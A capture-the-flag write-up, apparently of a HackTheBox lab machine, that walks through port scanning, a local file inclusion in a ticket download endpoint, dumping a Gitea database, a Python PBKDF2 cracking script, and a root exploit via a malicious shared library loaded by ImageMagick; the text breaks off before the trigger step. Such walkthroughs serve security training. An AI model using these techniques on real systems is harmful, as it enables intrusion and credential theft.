Recon 🕵️
Network Enumeration
TCP Scan
ip=10.129.231.221
nmap -sCV -p- -vv -A -T5 -oA scan/normal $ipBased on the TCP scan results, the following ports are available for further assessment:
| Port | Software | Version | Status | 
|---|---|---|---|
| 22/tcp | ssh | ttl 63 OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0) | open | 
| 80/tcp | http | ttl 63 Apache httpd 2.4.52 | open | 
We can observe that port 80 is open and running an Apache HTTP server on an Ubuntu server. Additionally, the scan discloses the domain titanic.htb:

let’s add it to our /etc/hosts file :
echo "$ip titanic.htb" | sudo tee -a /etc/hostsUDP scan
./udpz $ip --retries 1 --timeout 20000Based on the
UDP scan results, no open ports were identified for further assessment.
Web Enumeration
Port 80: titanic.htb
Visiting the website, we notice that it’s a Titanic trip booking system with numerous buttons. However, only one of them is functional: the Book Now button:

We are presented with a booking form to fill out. After submitting the form, a file is automatically downloaded in our browser:

I did it again, but this time I intercepted the request to examine the download mechanism and how it works. We can see that it goes through the /download endpoint with the JSON file as a parameter called ticket:

The way they do it is very sketchy because there is a big chance that it might be vulnerable to LFI, and after testing it, I was right:

Seeing that there are only 2 users in the system with a shell, I tried reading the user flag, and I was successful:

I tried reading the private SSH key, but I didn’t find one, so I guess we need to do more enumeration and read some kind of configuration file to get credentials for SSH.
Fuzzing subdomains :
I used feroxbuster to fuzz for subdirectories but didn’t find anything we didn’t already know about, so let’s fuzz for subdomains:
ffuf -w /usr/share/seclists/Discovery/DNS/namelist.txt -u http://$ip -H "HOST: FUZZ.titanic.htb"We get a hit:
dev                     [Status: 200, Size: 13982, Words: 1107, Lines: 276, Duration: 18ms]let’s add it to our /etc/hosts file :
echo "$ip dev.titanic.htb" | sudo tee -a /etc/hostsExploiting 🦈
Foothold
White-Boxing and finding the database file:
Upon visiting it, we see an instance of Gitea. Since we don’t have any credentials, I tried to check if there are any public repositories, and we found a couple:

While going through the files, I found the volume path where Gitea data is stored:

We can also see the MySQL credentials:

Since we have the path to Gitea and we know that the Gitea database file is usually stored in /data/gitea.db or /data/gitea/gitea.db, I tried downloading it using LFI, and the second path worked:

shell as developer:
After downloading it, I found the users table with hashed passwords for both the administrator and developer in the pbkdf2$50000$50 format:
SELECT name, passwd, salt, passwd_hash_algo FROM user;
administrator|cba20ccf927d3ad0567b68161732d3fbca098ce886bbc923b4062a3960d459c08d2dfc063b2406ac9207c980c47c5d017136|2d149e5fbd1b20cf31db3e3c6a28fc9b|pbkdf2$50000$50
developer|e531d398946137baea70ed6a680a54385ecff131309c0bd8f225f284406b7cbc8efc5dbef30bf1682619263444ea594cfb56|8bf3e3452b78544f8bee9400d6936d34|pbkdf2$50000$50
frenzy|b2349e03ef0917450f1e48cec4b37c8bbf62335b5b0242e82c075cbd252138b998300f01d334999f77b40e8ed5f7f85f4afc|a42c912a0eccbb761c61b2d9aa8559b5|pbkdf2$50000$50The
pbkdf2$50000$50format indicates that thepbkdf2algorithm was used with50,000 iterationsto generate the password hash, while the$50denotes the length of the output hash in bytes.
To crack this type of encryption, we can use the following script:
import hashlib
import binascii
from pwn import lo
# Parameters from gitea.db
salt  = binascii.unhexlify('8bf3e3452b78544f8bee9400d6936d34')  # 16 bytes
key   = 'e531d398946137baea70ed6a680a54385ecff131309c0bd8f225f284406b7cbc8efc5dbef30bf1682619263444ea594cfb56' 
dklen = 50
iterations = 50000
def hash(password, salt, iterations, dklen):
    hashValue = hashlib.pbkdf2_hmac(
        hash_name='sha256', 
        password=password, 
        salt=salt, 
        iterations=iterations, 
        dklen=dklen,
        )
    return hashValue
# Crack
dict = '/usr/share/wordlists/rockyou.txt'
bar  = log.progress('Cracking PBKDF2')
with open(dict, 'r', encoding='utf-8') as f:
    for line in f:
        password  = line.strip().encode('utf-8')
        hashValue = hash(password, salt, iterations, dklen)
        target    = binascii.unhexlify(key)
        # log.info(f'Our target is: {target}')
        bar.status(f'Trying: {password}, hash: {hashValue}')
        if hashValue == target:
            bar.success(f'Found password: {password}!')
            break
        
    bar.failure('Hash is not crackable.')After letting it run for a while, we obtained the password:

developer:25282528Privilege Escalation
Upon doing some manual enumeration as developer, I noticed an unusual script in the /opt/scripts directory:

The script is used to determine whether a file is an actual image by using magick:

Looking at the binary details, we can see the version:

Which is vulnerable to Arbitraty Code Execution:

And they also show a PoC:

Let’s craft our own PoC to read the flag:
cd /opt/app/static/assets/images
 
gcc -x c -shared -fPIC -o ./libxcb.so.1 - << EOF
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
 
__attribute__((constructor)) void init(){
    system("cat /root/root.txt > /tmp/rootflag");
    exit(0);
}
EOFWe can trigger it by :

